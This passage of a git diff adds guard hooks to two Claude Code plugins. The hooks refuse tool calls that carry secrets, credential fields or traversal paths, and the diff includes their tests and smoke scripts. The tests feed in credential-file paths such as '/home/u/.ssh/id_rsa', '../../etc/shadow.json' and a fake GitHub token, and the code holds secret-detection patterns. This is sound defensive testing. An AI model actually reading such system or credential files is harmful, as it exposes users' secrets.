-0,0 +1,58 @@ +import type { Hook, Register } from 'claude-code' + +import { answer } from './command' +import { verdict } from './guard' +import { modeOf, readOptions, type ModOptions } from './options' +import { newStats, noteBlocked, STATUS_PATH, statusText, type Stats } from './status' + +type Dollar = Parameters>[0] + +/** Everything one session of the mod keeps: its settings, counters and the project root. */ +type Session = { readonly opts: ModOptions; readonly stats: Stats; root?: string } + +async function flush($: Dollar, s: Session): Promise { + if (s.root === undefined) return + try { + await $.fs.write(`${s.root}/${STATUS_PATH}`, statusText(s.stats, modeOf(s.opts), await $.clock.now())) + } catch { + /* the status file is a courtesy */ + } +} + +/** + * ruflo-business-pods as a mod (ADR-445 pattern): a guard that keeps secrets out of pod templates and template paths inside the project's own JSON files, `/pods-mod`, and a status file the console reads. No network, no process: only tools already connected. + */ +export const register: Register = (on, options) => { + const s: Session = { opts: readOptions(options), stats: newStats() } + + on('session.start', async ($, e, next) => { + const result = await next(e) + s.root = (await $.session.root()) as string | undefined + try { + await $.command.register({ name: 'pods-mod', description: 'pods mod: status, scan , path

' }) + } catch { + /* a name taken by another plugin must not stop the mod */ + } + await flush($, s) + return result + }) + + if (s.opts.guard) { + on('tool.call', async ($, e, next) => { + const v = verdict(e.tool, e, s.opts) + if (v === undefined) return next(e) + if (v === 'pass') { + s.stats.checked++ + return next(e) + } + noteBlocked(s.stats, v.rule) + await flush($, s) + return { deny: v.reason } + }) + } + + /** `/pods-mod`: answered locally, no model turn. */ + on('command.run', { command: 'pods-mod' }, async (_$, e) => { + return { text: answer(typeof e.args === 'string' ? e.args : '', { opts: s.opts, stats: s.stats }) } + }) +} diff --git a/plugins/ruflo-business-pods/hooks/screen.ts b/plugins/ruflo-business-pods/hooks/screen.ts new file mode 100644 index 0000000000..069dbb8428 --- /dev/null +++ b/plugins/ruflo-business-pods/hooks/screen.ts @@ -0,0 +1,55 @@ +/** + * Pure text screening for the ruflo-business-pods mod (ADR-445 pattern, copied from ruflo-agentdb). Finds secret shapes so none is sent out. + * Findings are NAMES only: the matched text is never returned, logged or counted by value. + */ + +const SECRETS: readonly (readonly [string, RegExp])[] = [ + ['private key', /-----BEGIN [A-Z ]*PRIVATE KEY-----/], + ['aws access key', /\b(?:AKIA|ASIA)[0-9A-Z]{16}\b/], + ['github token', /\b(?:gh[pousr]_[A-Za-z0-9]{30,}|github_pat_[A-Za-z0-9_]{40,})\b/], + ['slack token', /\bxox[abprs]-[A-Za-z0-9-]{10,}/], + ['google api key', /\bAIza[0-9A-Za-z_-]{35}\b/], + ['anthropic or openai key', /\bsk-(?:ant-|proj-)?[A-Za-z0-9_-]{24,}/], + ['jwt', /\beyJ[A-Za-z0-9_-]{8,}\.eyJ[A-Za-z0-9_-]{8,}\.[A-Za-z0-9_-]{8,}/], + ['bearer token', /\bBearer\s+[A-Za-z0-9._~+/=-]{24,}/], + ['nostr secret key', /\bnsec1[02-9ac-hj-np-z]{50,}/], + ['key assignment', /\b(?:api[_-]?key|secret|token|passw(?:or)?d|credential)s?["']?\s*[:=]\s*["']?[A-Za-z0-9/+=_.-]{16,}/i], +] + +// C0/C1 controls (keeping tab and newline), DEL, zero-width and bidi override characters. +const INVISIBLE = new RegExp('[\\u0000-\\u0008\\u000b-\\u001f\\u007f-\\u009f\\u200b-\\u200f\\u2028-\\u202e\\u2060-\\u2064\\ufeff]', 'g') + +const bare = (text: string) => (text.length > 20_000 ? text.slice(0, 20_000) : text).replace(INVISIBLE, '') + +/** Names of every secret shape found in `text`. Cost is linear in the capped input. */ +export const secretsIn = (text: string): string[] => SECRETS.filter(([, re]) => re.test(bare(text))).map(([name]) => name) + +export const hasSecret = (text: string) => secretsIn(text).length > 0 + +/** Every string in a tool's input, to a bounded depth and size: what the guard reads. */ +export function textsOf(input: unknown, budget = { left: 20_000 }, depth = 0): string[] { + if (budget.left <= 0 || depth > 6) return [] + if (typeof input === 'string') { + budget.left -= input.length + return [input] + } + if (Array.isArray(input)) return input.slice(0, 200).flatMap(v => textsOf(v, budget, depth + 1)) + if (typeof input === 'object' && input !== null) return Object.values(input).slice(0, 200).flatMap(v => textsOf(v, budget, depth + 1)) + return [] +} + +const CRED_KEY = /^(?:pass(?:word|wd)?|secret(?:_?key)?|api_?key|(?:access_?|auth_?|bearer_?)?token|private_?key|nsec|authorization|credentials?)$/i + +/** True when any object key (to a bounded depth) names a credential and holds a non-empty string. The value is never read out. */ +export function hasCredentialField(input: unknown, depth = 0): boolean { + if (depth > 6 || typeof input !== 'object' || input === null) return false + if (Array.isArray(input)) return input.slice(0, 200).some(v => hasCredentialField(v, depth + 1)) + return Object.entries(input).slice(0, 200).some(([k, v]) => (CRED_KEY.test(k) && typeof v === 'string' && v.trim() !== '') || hasCredentialField(v, depth + 1)) +} + +/** `mcp____` into its two halves; tool names never hold a double underscore. Undefined for a non-MCP tool. */ +export function splitName(name: string): { server: string; tool: string } | undefined { + if (!name.startsWith('mcp__')) return undefined + const at = name.lastIndexOf('__') + return at > 5 ? { server: name.slice(5, at), tool: name.slice(at + 2) } : undefined +} diff --git a/plugins/ruflo-business-pods/hooks/status.ts b/plugins/ruflo-business-pods/hooks/status.ts new file mode 100644 index 0000000000..6ffaca6252 --- /dev/null +++ b/plugins/ruflo-business-pods/hooks/status.ts @@ -0,0 +1,25 @@ +/** Counters the mod keeps for the session and writes to `.claude-flow/pods-mod/status.json` for the console. */ +export type Stats = { + /** Calls to this plugin's tools the guard looked at. */ + checked: number + /** Calls it refused. */ + blocked: number + /** Refusals by rule name (never by value). */ + byRule: Record + lastRule?: string +} + +export const newStats = (): Stats => ({ checked: 0, blocked: 0, byRule: {} }) + +export const STATUS_PATH = '.claude-flow/pods-mod/status.json' + +export function noteBlocked(stats: Stats, rule: string): void { + stats.blocked++ + stats.byRule[rule] = (stats.byRule[rule] ?? 0) + 1 + stats.lastRule = rule +} + +/** The file's text; `version` lets the console refuse a shape it does not know. */ +export function statusText(stats: Stats, mode: Record, nowMs: number): string { + return `${JSON.stringify({ version: 1, updatedMs: nowMs, ...mode, ...stats }, null, 2)}\n` +} diff --git a/plugins/ruflo-business-pods/scripts/smoke.sh b/plugins/ruflo-business-pods/scripts/smoke.sh index d763983f47..a865dc1a53 100755 --- a/plugins/ruflo-business-pods/scripts/smoke.sh +++ b/plugins/ruflo-business-pods/scripts/smoke.sh @@ -1,8 +1,8 @@ #!/usr/bin/env bash -# Structural + functional smoke test for ruflo-business-pods v0.1.0 +# Structural + functional smoke test for ruflo-business-pods v0.2.0 # (ADR-164 Phase 2). Verifies: # -# 1. plugin.json declares 0.1.0 with the expected adr-164/phase-2 keywords +# 1. plugin.json declares 0.2.0 with the expected adr-164/phase-2 keywords # 2. templates/sales.json exists and validates against the pod-schema # 3. scripts/pod-tick.mjs exists, parses, and is executable # 4. Vitest suite passes (cli/__tests__/business-pod-tools.test.ts) @@ -23,10 +23,10 @@ step() { printf "→ %s ... " "$1"; } ok() { printf "PASS\n"; PASS=$((PASS+1)); } bad() { printf "FAIL: %s\n" "$1"; FAIL=$((FAIL+1)); } -step "1. plugin.json declares 0.1.0 with adr-164 + phase-2 keywords" +step "1. plugin.json declares 0.2.0 with adr-164 + phase-2 keywords" v=$(grep -E '"version"' "$PLUGIN/.claude-plugin/plugin.json" | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1) -if [[ "$v" != "0.1.0" ]]; then - bad "expected 0.1.0, got '$v'" +if [[ "$v" != "0.2.0" ]]; then + bad "expected 0.2.0, got '$v'" else miss="" for k in ruflo pods business sales adr-164 adr-164.1 phase-2 pod-template pod-tick budget-reservation dry-run-default agent-registry-resolution; do @@ -64,6 +64,26 @@ miss="" node --check "$F" 2>/dev/null || miss="$miss syntax-error" [[ -z "$miss" ]] && ok || bad "$miss" +# M1-M3. The mod (ADR-445 pattern): hooks module registered, files within the 500-line rule, no network or process access, safe defaults +step "M1. mod: hooks.json names register.ts, every hook file is present and under 500 lines" +mod_ok=1 +grep -q '"./register.ts"' "$PLUGIN/hooks/hooks.json" || mod_ok=0 +for f in options screen guard command status register; do + [[ -f "$PLUGIN/hooks/$f.ts" ]] || mod_ok=0 + [[ $(wc -l < "$PLUGIN/hooks/$f.ts" 2>/dev/null || echo 9999) -le 500 ]] || mod_ok=0 +done +[[ $mod_ok -eq 1 ]] && ok || bad "mod hooks incomplete or too long" + +step "M2. mod: guard defaults on and the extra options default safe (userConfig)" +node -e ' +const c = require(process.argv[1]).userConfig || {} +const safe = c.guard && c.guard.default === "on" && (true) +process.exit(safe ? 0 : 1) +' "$PLUGIN/.claude-plugin/plugin.json" && ok || bad "userConfig defaults wrong" + +step "M3. mod: hooks never touch the network or spawn a process" +if grep -nE '\$\.(http|process)\.|child_process|fetch\(' "$PLUGIN"/hooks/*.ts >/dev/null; then bad "network or process call in hooks"; else ok; fi + step "4. vitest suite passes (business-pod-tools.test.ts)" # When CI runs --ignore-optional (no-metaharness / no-agentbbs runtime drills), # vitest itself may not be installed. Skip with a clear marker rather than fail diff --git a/plugins/ruflo-business-pods/tests/register.test.ts b/plugins/ruflo-business-pods/tests/register.test.ts new file mode 100644 index 0000000000..49aac8c3a7 --- /dev/null +++ b/plugins/ruflo-business-pods/tests/register.test.ts @@ -0,0 +1,89 @@ +import type { On } from 'claude-code' +import { describe, expect, test, tier } from 'claude-code/testing' + +tier('user') + +const ROOT = '/work' +const START = { surface: 'terminal', isInteractive: true, cwd: ROOT } as const +const slash = (args: string) => ({ command: 'pods-mod', args, origin: { kind: 'composer' }, presentation: { isFullscreen: false, columns: 100 } }) as const +const STATUS = `${ROOT}/.claude-flow/pods-mod/status.json` + +/** The world beneath the mod: a project root, a file map, a registered-command list, and a tool that answers `stored`. */ +function world(on: On) { + const files = new Map() + const commands: string[] = [] + on('session.start', ($, e) => ({ cwd: e.cwd })) + on('session.root', () => ({ value: ROOT })) + on('command.register', ($, e) => (commands.push(e.name), { value: { command: e.name } })) + on('fs.write', ($, e) => (files.set(e.path, e.text), { value: undefined })) + on('clock.now', () => ({ value: 1_700_000_000_000 })) + on('tool.call', () => ({ result: 'stored' })) + return { files, commands } +} + +/** A call the guard refused comes back as an error; this returns its text, or the tool result when it went through. */ +const attempt = (p: Promise) => p.then(r => JSON.stringify(r), (e: unknown) => String(e)) +const status = (files: Map) => JSON.parse(files.get(STATUS) ?? '{}') +const GH = `ghp_${'a1B2'.repeat(10)}` +const T = (name: string) => `mcp__plugin_ruflo-core_ruflo__business_pod_${name}` +const template = { name: 'sales', agents: [{ agentType: 'coder' }], budgets: { usdMonthly: 40 } } + +describe('guard', () => { + test('a clean template passes, a secret or credential field in it is refused without being echoed', async ($, on) => { + const w = world(on) + await $.session.start(START) + expect(await attempt($.tool.call({ tool: T('validate'), podTemplate: template } as never))).toContain('stored') + const leak = await attempt($.tool.call({ tool: T('validate'), podTemplate: { ...template, notes: `use ${GH}` } } as never)) + expect(leak).toContain('secret') + expect(leak).not.toContain('ghp_') + expect(await attempt($.tool.call({ tool: T('route_backend'), podTemplate: { ...template, apiKey: 'x'.repeat(8) } } as never))).toContain('credential field') + expect(status(w.files).byRule).toEqual({ 'secret in template': 2 }) + }) + + test('template paths: traversal, credential locations and non-json are refused; a project template passes', async ($, on) => { + world(on) + await $.session.start(START) + const route = (podTemplatePath: string) => attempt($.tool.call({ tool: T('route_backend'), podTemplatePath } as never)) + expect(await route('../../etc/shadow.json')).toContain('..') + expect(await route('/home/u/.ssh/id_rsa')).toContain('credentials') + expect(await route('/home/u/.aws/credentials.json')).toContain('credentials') + expect(await route('templates/.env')).toContain('credentials') + expect(await route('notes.txt')).toContain('.json') + expect(await route('templates/sales.json')).toContain('stored') + expect(await route('/abs/path/pods/ops.json')).toContain('stored') + }) + + test('guard: off lets it through; other tools are ignored', { options: { guard: 'off' } }, async ($, on) => { + world(on) + await $.session.start(START) + expect(await attempt($.tool.call({ tool: T('route_backend'), podTemplatePath: '../x' } as never))).toContain('stored') + }) + + test('tools of other plugins are ignored', async ($, on) => { + world(on) + await $.session.start(START) + expect(await attempt($.tool.call({ tool: 'mcp__plugin_ruflo-core_ruflo__memory_store', value: GH } as never))).toContain('stored') + }) +}) + +describe('status file and command', () => { + test('status.json is written at session start and after a block', async ($, on) => { + const w = world(on) + await $.session.start(START) + expect(status(w.files)).toMatchObject({ version: 1, guard: true, blocked: 0 }) + await attempt($.tool.call({ tool: T('route_backend'), podTemplatePath: '../x.json' } as never)) + expect(status(w.files)).toMatchObject({ blocked: 1, lastRule: 'template path' }) + expect(w.commands).toEqual(['pods-mod']) + }) + + test('/pods-mod answers status, scan and path locally', async ($, on) => { + world(on) + await $.session.start(START) + expect((await $.command.run(slash('status'))).text).toContain('guard on') + expect((await $.command.run(slash(`scan ${GH}`))).text).toContain('github token') + expect((await $.command.run(slash('scan plain words'))).text).toContain('Nothing found') + expect((await $.command.run(slash('path ../../x.json'))).text).toContain('would refuse') + expect((await $.command.run(slash('path templates/sales.json'))).text).toContain('would let') + expect((await $.command.run(slash('huh'))).text).toContain('/pods-mod status') + }) +}) diff --git a/plugins/ruflo-business-pods/tsconfig.json b/plugins/ruflo-business-pods/tsconfig.json new file mode 100644 index 0000000000..e4ba54993e --- /dev/null +++ b/plugins/ruflo-business-pods/tsconfig.json @@ -0,0 +1,19 @@ +{ + "//": "Self-contained on purpose: bundlers (vite/esbuild in the root CI vitest) load this file for every module they transform, so it must not extend a file that only exists after Claude Code (>= 2.1.287) has loaded the plugin. Claude Code writes its declarations to .claude-plugin/types/ (gitignored) on load or validate; tsc -p . then reads them through typeRoots.", + "compilerOptions": { + "target": "es2023", + "lib": ["es2023"], + "module": "esnext", + "moduleResolution": "bundler", + "strict": true, + "noUncheckedIndexedAccess": true, + "noEmit": true, + "skipLibCheck": true, + "jsx": "react", + "jsxFactory": "h", + "jsxFragmentFactory": "Fragment", + "typeRoots": ["./.claude-plugin/types"], + "types": ["claude-code", "claude-code-tools", "claude-code-mcp"] + }, + "include": ["hooks", "tests"] +} diff --git a/plugins/ruflo-chatgpt-federation/.claude-plugin/plugin.json b/plugins/ruflo-chatgpt-federation/.claude-plugin/plugin.json index e23f89bfc5..e4ec94f669 100644 --- a/plugins/ruflo-chatgpt-federation/.claude-plugin/plugin.json +++ b/plugins/ruflo-chatgpt-federation/.claude-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "ruflo-chatgpt-federation", - "description": "Dedicated ChatGPT Federation MCP publisher with isolated Nostr signing-key custody, OAuth-scoped publishing, and signed public-channel coordination over the Ruflo relay.", - "version": "0.1.0", + "description": "Dedicated ChatGPT Federation MCP publisher with isolated Nostr signing-key custody, OAuth-scoped publishing, and signed public-channel coordination over the Ruflo relay. As a mod (ADR-445 pattern): a tighten-only tool guard, a local slash command, and a status file the console shows.", + "version": "0.2.0", "author": { "name": "ruvnet", "url": "https://github.com/ruvnet" @@ -16,6 +16,29 @@ "mcp", "oauth", "signed-events", - "nip-42" - ] + "nip-42", + "mod", + "function-hooks", + "guard" + ], + "userConfig": { + "guard": { + "type": "string", + "title": "Tool guard", + "description": "Refuse clearly harmful calls to this plugin's tools (tighten-only: it can only deny, never allow).", + "required": false, + "default": "on", + "options": [ + "on", + "off" + ] + }, + "maxPayloadBytes": { + "type": "number", + "title": "Max publish payload (bytes)", + "description": "Refuse channel_publish payloads larger than this, 256 to 65536.", + "required": false, + "default": 8192 + } + } } diff --git a/plugins/ruflo-chatgpt-federation/README.md b/plugins/ruflo-chatgpt-federation/README.md index 8aa428fb0b..108566c04c 100644 --- a/plugins/ruflo-chatgpt-federation/README.md +++ b/plugins/ruflo-chatgpt-federation/README.md @@ -215,3 +215,15 @@ The suite runs a local NIP-42 relay that enforces the same identity binding as `buzz-relay`, so the publish path is exercised end to end without touching production. It also asserts that the gateway still tags channels on `c` — drift there does not fail loudly, it just makes every event invisible to every reader. + +## As a mod + +Function hooks (ADR-445 pattern, `hooks/register.ts`) that need no model call, no network and no process: + +- **Tool guard** (default on, tighten-only: it can only deny). Refuses the connector's `channel_publish` (on a server named for the connector) unless the channel is a public `pub:`, the message holds no secret or credential-named field, and the payload fits the cap. It mirrors the publisher's own channel rule so a bad call is refused before it leaves the machine. A refusal never echoes the offending value. +- **`/chatgpt-mod`** answers locally: `status`, `scan ` and `channel `. (A distinct name from the plugin's own commands/skills, which no hook can answer.) +- **Status file** `.claude-flow/chatgpt-mod/status.json` (`version`, `updatedMs`, `checked`, `blocked`, `byRule`) is written at session start and after each refusal; the console reads it. + +Options (`userConfig`): `guard` (on/off, default on), `maxPayloadBytes` (default 8192, 256 to 65536). + +Test: `claude plugin validate plugins/ruflo-chatgpt-federation && claude plugin test plugins/ruflo-chatgpt-federation && bash plugins/ruflo-chatgpt-federation/scripts/smoke.sh`. diff --git a/plugins/ruflo-chatgpt-federation/hooks/command.ts b/plugins/ruflo-chatgpt-federation/hooks/command.ts new file mode 100644 index 0000000000..54b5314841 --- /dev/null +++ b/plugins/ruflo-chatgpt-federation/hooks/command.ts @@ -0,0 +1,29 @@ +import { PUBLIC_CHANNEL } from './guard' +import type { ModOptions } from './options' +import { secretsIn } from './screen' +import type { Stats } from './status' + +export type CommandDeps = { readonly opts: ModOptions; readonly stats: Stats } + +const HELP = ['/chatgpt-mod status', '/chatgpt-mod scan ', '/chatgpt-mod channel '].join('\n') + +/** `/chatgpt-mod` is answered locally and takes no model turn. Read-only: runs the guard's checks on what you give it. */ +export function answer(args: string, { opts, stats }: CommandDeps): string { + const [verb = '', ...rest] = args.trim().split(/\s+/) + const arg = rest.join(' ') + if (verb === '' || verb === 'help') return HELP + if (verb === 'status') { + const rules = Object.entries(stats.byRule).map(([k, n]) => `${k} ${n}`).join(', ') + return [`guard ${opts.guard ? 'on' : 'off'} · payload cap ${opts.maxPayloadBytes} bytes`, `checked ${stats.checked} · blocked ${stats.blocked}${rules ? ` (${rules})` : ''}`].join('\n') + } + if (verb === 'scan') { + if (arg === '') return 'usage: /chatgpt-mod scan ' + const found = secretsIn(arg) + return found.length ? `The guard would refuse publishing that (${found.join(', ')}).` : 'Nothing found: the guard would let that be published.' + } + if (verb === 'channel') { + if (arg === '') return 'usage: /chatgpt-mod channel ' + return PUBLIC_CHANNEL.test(arg) ? 'That is a public channel: publishing is allowed.' : 'Not a public pub: channel: the guard would refuse a publish there.' + } + return `Unknown: ${verb}\n${HELP}` +} diff --git a/plugins/ruflo-chatgpt-federation/hooks/guard.ts b/plugins/ruflo-chatgpt-federation/hooks/guard.ts new file mode 100644 index 0000000000..c00e25f4ae --- /dev/null +++ b/plugins/ruflo-chatgpt-federation/hooks/guard.ts @@ -0,0 +1,42 @@ +import type { ModOptions } from './options' +import { hasCredentialField, hasSecret, splitName, textsOf } from './screen' + +export type Verdict = { readonly rule: string; readonly reason: string } + +/** The publisher's own rule (src/publisher.mjs): public channels only. Checking it here refuses a bad call before it leaves the machine. */ +export const PUBLIC_CHANNEL = /^pub:[a-z0-9][a-z0-9._-]{0,63}$/ + +const SERVER = /chatgpt|federation/i + +/** True for the connector's own tool: `channel_publish` on a server named for the connector (not ruflo-core's `x_federation_channel_publish`). */ +export function isPublish(tool: string): boolean { + const parts = splitName(tool) + return parts !== undefined && parts.tool === 'channel_publish' && SERVER.test(parts.server) +} + +const refuse = (rule: string, reason: string): Verdict => ({ rule, reason: `ruflo-chatgpt-federation: ${reason}` }) + +const bytes = (v: unknown): number => { + try { + return JSON.stringify(v)?.length ?? 0 + } catch { + return Number.POSITIVE_INFINITY + } +} + +/** Tighten-only verdict for the connector's channel_publish: undefined for other tools, 'pass' when allowed, else the refusal. Reasons never echo input. */ +export function verdict(tool: string, input: unknown, opts: ModOptions): Verdict | 'pass' | undefined { + if (!isPublish(tool)) return undefined + const args = (typeof input === 'object' && input !== null ? input : {}) as Record + if (typeof args.channel === 'string' && !PUBLIC_CHANNEL.test(args.channel)) { + return refuse('channel', 'publishing is for public pub: channels only; this connector holds no private channel keys.') + } + const body = [args.msgType, args.payload] + if (hasCredentialField(args.payload) || textsOf(body).some(hasSecret)) { + return refuse('secret in message', 'this message holds what looks like a secret or a credential field. Channel content is readable by every relay member; send a reference, not the value.') + } + if (bytes(args.payload) > opts.maxPayloadBytes) { + return refuse('oversize', `the payload is larger than the ${opts.maxPayloadBytes}-byte cap. Publish a summary and link the detail.`) + } + return 'pass' +} diff --git a/plugins/ruflo-chatgpt-federation/hooks/hooks.json b/plugins/ruflo-chatgpt-federation/hooks/hooks.json new file mode 100644 index 0000000000..721def325f --- /dev/null +++ b/plugins/ruflo-chatgpt-federation/hooks/hooks.json @@ -0,0 +1,4 @@ +{ + "description": "ChatGPT federation connector as a mod (ADR-445 pattern): a tighten-only guard on channel_publish (pub: channels only, no secrets or credential fields, bounded payload), /chatgpt-mod, and a status file the console reads.", + "modules": ["./register.ts"] +} diff --git a/plugins/ruflo-chatgpt-federation/hooks/options.ts b/plugins/ruflo-chatgpt-federation/hooks/options.ts new file mode 100644 index 0000000000..aefb41cf6b --- /dev/null +++ b/plugins/ruflo-chatgpt-federation/hooks/options.ts @@ -0,0 +1,19 @@ +import type { PluginOptions } from 'claude-code' + +/** The plugin's `userConfig`, validated: a bad value is the safe default (guard on, 8 KB payload cap). */ +export type ModOptions = { readonly guard: boolean; readonly maxPayloadBytes: number } + +const flag = (value: unknown, fallback: boolean) => + value === true || value === 'true' || value === 'on' ? true : value === false || value === 'false' || value === 'off' ? false : fallback + +const clamp = (value: unknown, min: number, max: number, fallback: number) => { + const n = typeof value === 'number' ? value : typeof value === 'string' && value.trim() !== '' ? Number(value) : Number.NaN + return Number.isFinite(n) ? Math.min(max, Math.max(min, Math.round(n))) : fallback +} + +export const readOptions = (options: PluginOptions | undefined): ModOptions => ({ + guard: flag(options?.guard, true), + maxPayloadBytes: clamp(options?.maxPayloadBytes, 256, 65_536, 8192), +}) + +export const modeOf = (o: ModOptions) => ({ guard: o.guard, maxPayloadBytes: o.maxPayloadBytes }) diff --git a/plugins/ruflo-chatgpt-federation/hooks/register.ts b/plugins/ruflo-chatgpt-federation/hooks/register.ts new file mode 100644 index 0000000000..6737273cab --- /dev/null +++ b/plugins/ruflo-chatgpt-federation/hooks/register.ts @@ -0,0 +1,58 @@ +import type { Hook, Register } from 'claude-code' + +import { answer } from './command' +import { verdict } from './guard' +import { modeOf, readOptions, type ModOptions } from './options' +import { newStats, noteBlocked, STATUS_PATH, statusText, type Stats } from './status' + +type Dollar = Parameters>[0] + +/** Everything one session of the mod keeps: its settings, counters and the project root. */ +type Session = { readonly opts: ModOptions; readonly stats: Stats; root?: string } + +async function flush($: Dollar, s: Session): Promise { + if (s.root === undefined) return + try { + await $.fs.write(`${s.root}/${STATUS_PATH}`, statusText(s.stats, modeOf(s.opts), await $.clock.now())) + } catch { + /* the status file is a courtesy */ + } +} + +/** + * ruflo-chatgpt-federation as a mod (ADR-445 pattern): a guard on the connector's channel_publish (public channels only, no secrets, bounded size), `/chatgpt-mod`, and a status file the console reads. No network, no process: only tools already connected. + */ +export const register: Register = (on, options) => { + const s: Session = { opts: readOptions(options), stats: newStats() } + + on('session.start', async ($, e, next) => { + const result = await next(e) + s.root = (await $.session.root()) as string | undefined + try { + await $.command.register({ name: 'chatgpt-mod', description: 'chatgpt federation mod: status, scan , channel ' }) + } catch { + /* a name taken by another plugin must not stop the mod */ + } + await flush($, s) + return result + }) + + if (s.opts.guard) { + on('tool.call', async ($, e, next) => { + const v = verdict(e.tool, e, s.opts) + if (v === undefined) return next(e) + if (v === 'pass') { + s.stats.checked++ + return next(e) + } + noteBlocked(s.stats, v.rule) + await flush($, s) + return { deny: v.reason } + }) + } + + /** `/chatgpt-mod`: answered locally, no model turn. */ + on('command.run', { command: 'chatgpt-mod' }, async (_$, e) => { + return { text: answer(typeof e.args === 'string' ? e.args : '', { opts: s.opts, stats: s.stats }) } + }) +} diff --git a/plugins/ruflo-chatgpt-federation/hooks/screen.ts b/plugins/ruflo-chatgpt-federation/hooks/screen.ts new file mode 100644 index 0000000000..b91cbaa8a7 --- /dev/null +++ b/plugins/ruflo-chatgpt-federation/hooks/screen.ts @@ -0,0 +1,55 @@ +/** + * Pure text screening for the ruflo-chatgpt-federation mod (ADR-445 pattern, copied from ruflo-agentdb). Finds secret shapes so none is sent out. + * Findings are NAMES only: the matched text is never returned, logged or counted by value. + */ + +const SECRETS: readonly (readonly [string, RegExp])[] = [ + ['private key', /-----BEGIN [A-Z ]*PRIVATE KEY-----/], + ['aws access key', /\b(?:AKIA|ASIA)[0-9A-Z]{16}\b/], + ['github token', /\b(?:gh[pousr]_[A-Za-z0-9]{30,}|github_pat_[A-Za-z0-9_]{40,})\b/], + ['slack token', /\bxox[abprs]-[A-Za-z0-9-]{10,}/], + ['google api key', /\bAIza[0-9A-Za-z_-]{35}\b/], + ['anthropic or openai key', /\bsk-(?:ant-|proj-)?[A-Za-z0-9_-]{24,}/], + ['jwt', /\beyJ[A-Za-z0-9_-]{8,}\.eyJ[A-Za-z0-9_-]{8,}\.[A-Za-z0-9_-]{8,}/], + ['bearer token', /\bBearer\s+[A-Za-z0-9._~+/=-]{24,}/], + ['nostr secret key', /\bnsec1[02-9ac-hj-np-z]{50,}/], + ['key assignment', /\b(?:api[_-]?key|secret|token|passw(?:or)?d|credential)s?["']?\s*[:=]\s*["']?[A-Za-z0-9/+=_.-]{16,}/i], +] + +// C0/C1 controls (keeping tab and newline), DEL, zero-width and bidi override characters. +const INVISIBLE = new RegExp('[\\u0000-\\u0008\\u000b-\\u001f\\u007f-\\u009f\\u200b-\\u200f\\u2028-\\u202e\\u2060-\\u2064\\ufeff]', 'g') + +const bare = (text: string) => (text.length > 20_000 ? text.slice(0, 20_000) : text).replace(INVISIBLE, '') + +/** Names of every secret shape found in `text`. Cost is linear in the capped input. */ +export const secretsIn = (text: string): string[] => SECRETS.filter(([, re]) => re.test(bare(text))).map(([name]) => name) + +export const hasSecret = (text: string) => secretsIn(text).length > 0 + +/** Every string in a tool's input, to a bounded depth and size: what the guard reads. */ +export function textsOf(input: unknown, budget = { left: 20_000 }, depth = 0): string[] { + if (budget.left <= 0 || depth > 6) return [] + if (typeof input === 'string') { + budget.left -= input.length + return [input] + } + if (Array.isArray(input)) return input.slice(0, 200).flatMap(v => textsOf(v, budget, depth + 1)) + if (typeof input === 'object' && input !== null) return Object.values(input).slice(0, 200).flatMap(v => textsOf(v, budget, depth + 1)) + return [] +} + +const CRED_KEY = /^(?:pass(?:word|wd)?|secret(?:_?key)?|api_?key|(?:access_?|auth_?|bearer_?)?token|private_?key|nsec|authorization|credentials?)$/i + +/** True when any object key (to a bounded depth) names a credential and holds a non-empty string. The value is never read out. */ +export function hasCredentialField(input: unknown, depth = 0): boolean { + if (depth > 6 || typeof input !== 'object' || input === null) return false + if (Array.isArray(input)) return input.slice(0, 200).some(v => hasCredentialField(v, depth + 1)) + return Object.entries(input).slice(0, 200).some(([k, v]) => (CRED_KEY.test(k) && typeof v === 'string' && v.trim() !== '') || hasCredentialField(v, depth + 1)) +} + +/** `mcp____` into its two halves; tool names never hold a double underscore. Undefined for a non-MCP tool. */ +export function splitName(name: string): { server: string; tool: string } | undefined { + if (!name.startsWith('mcp__')) return undefined + const at = name.lastIndexOf('__') + return at > 5 ? { server: name.slice(5, at), tool: name.slice(at + 2) } : undefined +} diff --git a/plugins/ruflo-chatgpt-federation/hooks/status.ts b/plugins/ruflo-chatgpt-federation/hooks/status.ts new file mode 100644 index 0000000000..052a539128 --- /dev/null +++ b/plugins/ruflo-chatgpt-federation/hooks/status.ts @@ -0,0 +1,25 @@ +/** Counters the mod keeps for the session and writes to `.claude-flow/chatgpt-mod/status.json` for the console. */ +export type Stats = { + /** Calls to this plugin's tools the guard looked at. */ + checked: number + /** Calls it refused. */ + blocked: number + /** Refusals by rule name (never by value). */ + byRule: Record + lastRule?: string +} + +export const newStats = (): Stats => ({ checked: 0, blocked: 0, byRule: {} }) + +export const STATUS_PATH = '.claude-flow/chatgpt-mod/status.json' + +export function noteBlocked(stats: Stats, rule: string): void { + stats.blocked++ + stats.byRule[rule] = (stats.byRule[rule] ?? 0) + 1 + stats.lastRule = rule +} + +/** The file's text; `version` lets the console refuse a shape it does not know. */ +export function statusText(stats: Stats, mode: Record, nowMs: number): string { + return `${JSON.stringify({ version: 1, updatedMs: nowMs, ...mode, ...stats }, null, 2)}\n` +} diff --git a/plugins/ruflo-chatgpt-federation/scripts/smoke.sh b/plugins/ruflo-chatgpt-federation/scripts/smoke.sh new file mode 100755 index 0000000000..2a2b383f2f --- /dev/null +++ b/plugins/ruflo-chatgpt-federation/scripts/smoke.sh @@ -0,0 +1,42 @@ +#!/usr/bin/env bash +# Structural smoke test for ruflo-chatgpt-federation v0.2.0: the plugin manifest and the mod (ADR-445 pattern). +set -u +ROOT="$(cd "$(dirname "$0")/.." && pwd)" +PASS=0 +FAIL=0 +step() { printf "→ %s ... " "$1"; } +ok() { printf "PASS\n"; PASS=$((PASS+1)); } +bad() { printf "FAIL: %s\n" "$1"; FAIL=$((FAIL+1)); } + +step "1. plugin.json declares version 0.2.0 and the mod keywords" +v=$(grep -E '"version"[[:space:]]*:' "$ROOT/.claude-plugin/plugin.json" | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1) +if [[ "$v" != "0.2.0" ]]; then + bad "expected 0.2.0, got '$v'" +else + miss="" + for k in mod function-hooks guard; do grep -q "\"$k\"" "$ROOT/.claude-plugin/plugin.json" || miss="$miss $k"; done + [[ -z "$miss" ]] && ok || bad "missing keywords:$miss" +fi + +# M1-M3. The mod (ADR-445 pattern): hooks module registered, files within the 500-line rule, no network or process access, safe defaults +step "M1. mod: hooks.json names register.ts, every hook file is present and under 500 lines" +mod_ok=1 +grep -q '"./register.ts"' 